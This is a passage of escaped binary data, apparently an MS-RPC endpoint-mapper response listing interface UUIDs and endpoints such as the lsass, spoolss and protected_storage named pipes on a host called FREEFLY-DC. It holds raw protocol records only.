x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10 \\x00OLEA42FB87E2EF04FE2895FA42C2387\\x00K\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x00\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc0\\x03\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xccJ\\x00\\x00\\x00J\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x00\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\n\\x00samss lpc\\x00\\xcc\\xccG\\x00\\x00\\x00G\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x00\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x07\\x00dsrole\\x00\\xccj\\x00\\x00\\x00j\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x00\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x0f\\x18\\x00\\\\PIPE\\\\protected_storage\\x00\\x01\\x00\\x11\\r\\x00\\\\\\\\FREEFLY-DC\\x00\\xcc\\xccR\\x00\\x00\\x00R\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x00\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x12\\x00protected_storage\\x00\\xcc\\xccK\\x00\\x00\\x00K\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x00\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0b\\x00lsasspirpc\\x00\\xccP\\x00\\x00\\x00P\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x00\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x10\\x00lsapolicylookup\\x00P\\x00\\x00\\x00P\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x00\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x10\\x00LSARPC_ENDPOINT\\x00N\\x00\\x00\\x00N\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x00\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0e\\x00securityevent\\x00\\xcc\\xccF\\x00\\x00\\x00F\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x00\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x06\\x00audit\\x00\\xcc\\xccX\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x00\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-75fac2f88290daf44c\\x00^\\x00\\x00\\x00^\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxW4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x00\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x0f\\x0c\\x00\\\\pipe\\\\lsass\\x00\\x01\\x00\\x11\\r\\x00\\\\\\\\FREEFLY-DC\\x00\\xcc\\xccK\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x1f\\x02\\x00\\xc0\\x05\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xccI\\x00\\x00\\x00I\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\t\\x00NTDS_LPC\\x00\\xcc\\xcc\\xcc`\\x00\\x00\\x00`\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10 \\x00OLEA42FB87E2EF04FE2895FA42C2387\\x00K\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc0\\x03\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xccJ\\x00\\x00\\x00J\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\n\\x00samss lpc\\x00\\xcc\\xccG\\x00\\x00\\x00G\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x07\\x00dsrole\\x00\\xccj\\x00\\x00\\x00j\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x0f\\x18\\x00\\\\PIPE\\\\protected_storage\\x00\\x01\\x00\\x11\\r\\x00\\\\\\\\FREEFLY-DC\\x00\\xcc\\xccR\\x00\\x00\\x00R\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x12\\x00protected_storage\\x00\\xcc\\xccK\\x00\\x00\\x00K\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0b\\x00lsasspirpc\\x00\\xccP\\x00\\x00\\x00P\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x10\\x00lsapolicylookup\\x00P\\x00\\x00\\x00P\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x10\\x00LSARPC_ENDPOINT\\x00N\\x00\\x00\\x00N\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x0e\\x00securityevent\\x00\\xcc\\xccF\\x00\\x00\\x00F\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x06\\x00audit\\x00\\xcc\\xccX\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-75fac2f88290daf44c\\x00^\\x00\\x00\\x00^\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x0f\\x0c\\x00\\\\pipe\\\\lsass\\x00\\x01\\x00\\x11\\r\\x00\\\\\\\\FREEFLY-DC\\x00\\xcc\\xccH\\x00\\x00\\x00H\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\ra&EJ\\x90\\x826K\\x8f\\xbe\\x7f@\\x93\\xa9Ix\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x08\\x00spoolss\\x00H\\x00\\x00\\x00H\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\x9b\\x063\\xae\\xa8\\xa2\\xeeF\\xa25\\xdd\\xfd3\\x9b\\xe2\\x81\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x08\\x00spoolss\\x00H\\x00\\x00\\x00H\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xfa\\xdbn\\x0b$J\\xc6O\\x8a#\\x94+\\x1e\\xcae\\xd1\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x08\\x00spoolss\\x00K\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\r\\xa4\\xc2\\xabPMW\\xb3@\\x9df\\xeeO\\xd5\\xfb\\xa0v\\x05\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc0\\x15\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xcca\\x00\\x00\\x00a\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\r\\xbf\\t\\x11\\x81\\xe1\\xa4\\xd1\\x11\\xabT\\x00\\xa0\\xc9\\x1e\\x9bE\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x0f\\x0f\\x00\\\\pipe\\\\WinsPipe\\x00\\x01\\x00\\x11\\r\\x00\\\\\\\\FREEFLY-DC\\x00\\xcc\\xcc\\xccX\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xbf\\t\\x11\\x81\\xe1\\xa4\\xd1\\x11\\xabT\\x00\\xa0\\xc9\\x1e\\x9bE\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-1d5ca5ac42312a0056\\x00K\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\r\\xbf\\t\\x11\\x81\\xe1\\xa4\\xd1\\x11\\xabT\\x00\\xa0\\xc9\\x1e\\x9bE\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc0,\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xcc`\\x00\\x00\\x00`\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xbf\\t\\x11\\x81\\xe1\\xa4\\xd1\\x11\\xabT\\x00\\xa0\\xc9\\x1e\\x9bE\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10 \\x00OLE261F2C99BFF143DE95CFD25D6F1B\\x00a\\x00\\x00\\x00a\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\r(,\\xf5E\\x9f\\x7f\\x1a\\x10\\xb5+\\x08\\x00+.\\xfa\\xbe\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x0f\\x0f\\x00\\\\pipe\\\\WinsPipe\\x00\\x01\\x00\\x11\\r\\x00\\\\\\\\FREEFLY-DC\\x00\\xcc\\xcc\\xccX\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r(,\\xf5E\\x9f\\x7f\\x1a\\x10\\xb5+\\x08\\x00+.\\xfa\\xbe\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-1d5ca5ac42312a0056\\x00K\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\r(,\\xf5E\\x9f\\x7f\\x1a\\x10\\xb5+\\x08\\x00+.\\xfa\\xbe\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc0,\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xcc`\\x00\\x00\\x00`\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r(,\\xf5E\\x9f\\x7f\\x1a\\x10\\xb5+\\x08\\x00+.\\xfa\\xbe\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10 \\x00OLE261F2C99BFF143DE95CFD25D6F1B\\x00K\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\r\\x81\\xbbz6D\\x98\\xf15\\xad2\\x98\\xf08\\x00\\x10\\x03\\x02\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc0K\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xccX\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-47015c651701b6fefd\\x00K\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\rxV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\x89\\xab\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc0L\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xccK\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\r\\x1e\\xdd[k\\x8cR,B\\xaf\\x8c\\xa4\\x07\\x9b\\xe4\\xfeH\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\xc0L\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xccX\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xe0\\x0ck\\x90\\x0b\\xc7g\\x10\\xb3\\x17\\x00\\xdd\\x01\\x06b\\xda\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-9c0b57db25a3353f68\\x00`\\x00\\x00\\x00`\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xe0\\x0ck\\x90\\x0b\\xc7g\\x10\\xb3\\x17\\x00\\xdd\\x01\\x06b\\xda\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10 \\x00OLEC7D101604F874C58BA48EAD7B5A2\\x00X\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xe0\\x0ck\\x90\\x0b\\xc7g\\x10\\xb3\\x17\\x00\\xdd\\x01\\x06b\\xda\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-6d64ace2cb67ac5179\\x00X\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xe0\\x0ck\\x90\\x0b\\xc7g\\x10\\xb3\\x17\\x00\\xdd\\x01\\x06b\\xda\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-6d64ace2cb67ac5179\\x00X\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xe0\\x0ck\\x90\\x0b\\xc7g\\x10\\xb3\\x17\\x00\\xdd\\x01\\x06b\\xda\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-6d64ace2cb67ac5179\\x00X\\x00\\x00\\x00X\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r\\xe0\\x0ck\\x90\\x0b\\xc7g\\x10\\xb3\\x17\\x00\\xdd\\x01\\x06b\\xda\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0c\\x02\\x00\\x00\\x00\\x01\\x00\\x10\\x18\\x00LRPC-6d64ace2cb67ac5179\\x00K\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\r_.~\\x89\\xf3\\x93vC\\x9c\\x9c\\xfd\"wI\\\\\\'\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\x16Z\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\xcc`\\x00\\x00\\x00`\\x00\\x00\\x00\\x04\\x00\\x13\\x00\\r_.~\\x89\\xf3\\x93vC\\x9c\\x9c\\xfd\"wI\\\\\\'\\x01\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\